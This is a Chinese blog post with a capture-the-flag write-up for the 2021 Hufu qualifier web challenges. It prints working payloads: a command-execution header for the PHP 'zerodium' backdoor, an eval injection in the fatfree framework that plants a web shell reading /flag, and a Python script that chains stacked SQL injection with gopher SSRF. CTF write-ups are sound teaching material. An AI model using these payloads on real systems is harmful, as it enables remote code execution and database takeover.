

2021虎符初赛Web部分题解

原创

bfengj 于 2021-04-05 00:36:52 发布 919 收藏 1

分类专栏: [比赛WP](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/rfrder/article/details/115435829>

版权



[比赛WP 专栏收录该内容](#)

44 篇文章 11 订阅

订阅专栏

前言

这个WP还是直接复制粘贴的当时随手写的WP。。。太懒了别骂了呜呜呜。。。

签到

几天前PHP的那个后门, 当时笑死我了的那个 `User-Agentt`。

```
User-Agentt: zerodiumsistem("cat /flag");
```

unsetme

fatfree框架, 搜一下有一个漏洞符合, 即3.7.1的代码注入, 但是题目打不通, 怀疑是因为版本的问题, 下载3.7.3的fatfree看一下, 主要是这部分:

```
$val=preg_replace('/^(\\$hive)/','$this->hive',  
    $this->compile('@hive.'.$key, FALSE));  
eval('unset('.$val.')');
```

3.7.1版本中这样就可以直接打通

```
?a=feng);phpinfo();//
```

但是3.7.3不行, replace那个替换不用管, 不影响compile, 跟进一下compile:

```
function compile($str, $evaluate=TRUE) {
    $sstr=$str;
    return (!$evaluate)
        ? preg_replace_callback(
            '/^@(\w+)((?:\.\.+|\[(?:(?:[^\[\]]*|(?:R))*\])*\/',
            function($expr) {
                $str='$'.$expr[1];
                if (isset($expr[2]))
                    $str.=preg_replace_callback(
                        '/\.(^[^\[\]]+)|\[(?:(?:[^\[\]]*"|(?:R))*\)]/',
                        function($sub) {
                            $val=isset($sub[2]) ? $sub[2] : $sub[1];
                            if (ctype_digit($val))
                                $val=(int)$val;
                            $out='['.$this->export($val).']';
                            return $out;
                        },
                        $expr[2]
                    );
                return $str;
            },
            $str
        )
    )
}
```

`$str`是`@hive.xxxxx`，第一个正则匹配不需要管，经过测试，它的`$expr[1]`一定是hive, `$expr[2]`是一个点再拼接上传入的`$_GET['a']`。

```
"/^@(\w+)((?:\.\.+|\[(?:(?:[^\[\]]*|(?:R))*\])*\/
```

主要是第二个正则，依次把满足正则的匹配结果索引1或者2取出，然后经过`var_export`处理，再套上一层中括号，再依次拼接到`$hive`的后面。

看一下这个正则：

```
/\.(^[^\[\]]+)|\[(?:(?:[^\[\]]*"|(?:R))*\)]/
```

可以匹配以点开头，然后有至少一个非点，中括号的字符串，或者是匹配以中括号包裹，中间有一些内容（这部分我没细看，因为不需要）的东西。

一开始的想法是第二部分的以中括号包裹，这部分的`$sub[1]`是空，因此拼接过去就是`[]`，然后再闭合，想着这样：

```
?a=[]);phpinfo();//
```

但是执行的是这样：

```
unset($this->hive['']);phpinfo();//
```

那个点没有给去掉，报了错，看了一下这个正则的第一部分，匹配点开头，然后跟上任意非点和中括号的字符串，因此开头传一个非点和中括号的字符串，这时候分组匹配的是传入的那个字符串，比如说是1，外面再套上中括号，因此就会变成这样：

```
unset($this->hive[1]['']);phpinfo();//
```

再执行命令即可：

```
?a=1[]);eval($_POST[0]);//
0=system('cat /flag');
```

“慢慢做”管理系统

第一步的sql是md5的那个姿势，用fffdyop好像不行，用129581926211651571912466741651878684928就可以了。

然后就是ssrf，根据题目的提示，这个admin.php是在内网的，因此需要ssrf来访问：`?way=127.0.0.1/admin.php`
访问到页面发现还需要登录，而且是post传参，想了一下6379的mysql无密码的可能性不大，再联想到这题出题人让我要慢慢做，我直接盲猜这题这里的admin.php登录是个时间盲注，幸好我猜错了，是注入不假，但是是个堆叠注入。要真是时间盲注我tm把出题人骨灰都给扬了。

注入点在username这里，就是强网杯那个堆叠注入改的，三种姿势

- handler
- prepare
- rename

handler被ban了，这题用prepare没回显，所以只能用rename。

一个表是 `real_admin_here_do_you_find`，另外一个表是 `fake_admin`，这题利用万能密码会把整个表的数据都给弄出来，因此改表名即可。拿到管理员用户名和密码，坑点就是数据库里的那个用户名是 `admin_inner`，但是应该拿 `admin` 来登录，我拿 `admin_inner`来登录了1小时，真tm被恶心到了。登录后利用管理员cookie访问flag.php就可以拿到flag了。

附上EXP：

```

import requests
from urllib.parse import quote

data="""POST /admin.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=3515604k1sh161ffsmerkbi23
Content-Length: {}

{}
"""

#payload="username=';rename tables `fake_admin` to `fake`;rename tables `real_admin_here_do_you_find` to `fake_admin`;#&password=123456"
#payload="username=';rename tables `fake_admin` to `real_admin_here_do_you_find`;rename tables `fake` to `fake_admin`;#&password=123456"
#payload="username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203"
#payload="username='or'1'#&password=123456"
payload="username=admin&password=5fb4e07de914cfc82afb44vbaf402203"

"real_admin_here_do_you_find"
"select * from real_admin_here_do_you_find"
"admin_inner"
"5fb4e07de914cfc82afb44vbaf402203"
"""
array(2) {<br />
  [0]=><br />
  array(1) {<br />
    ["Tables_in_ctf2"]=><br />
    string(10) "fake_admin"<br />
  }<br />
  [1]=><br />
  array(1) {<br />
    ["Tables_in_ctf2"]=><br />
    string(27) "real_admin_here_do_you_find"<br />
  }<br />
}<br />
"""
length=len(payload)
data=data.format(length,payload)
data=quote(data,'utf-8')
url=""
params={
  'way':"gopher://127.0.0.1:80/_"+data
}
headers={
  'Cookie':"PHPSESSID=8t4ppbs8ek315v5estgbttqtu3"
}

r=requests.get(url,params=params,headers=headers)
print(r.text)

```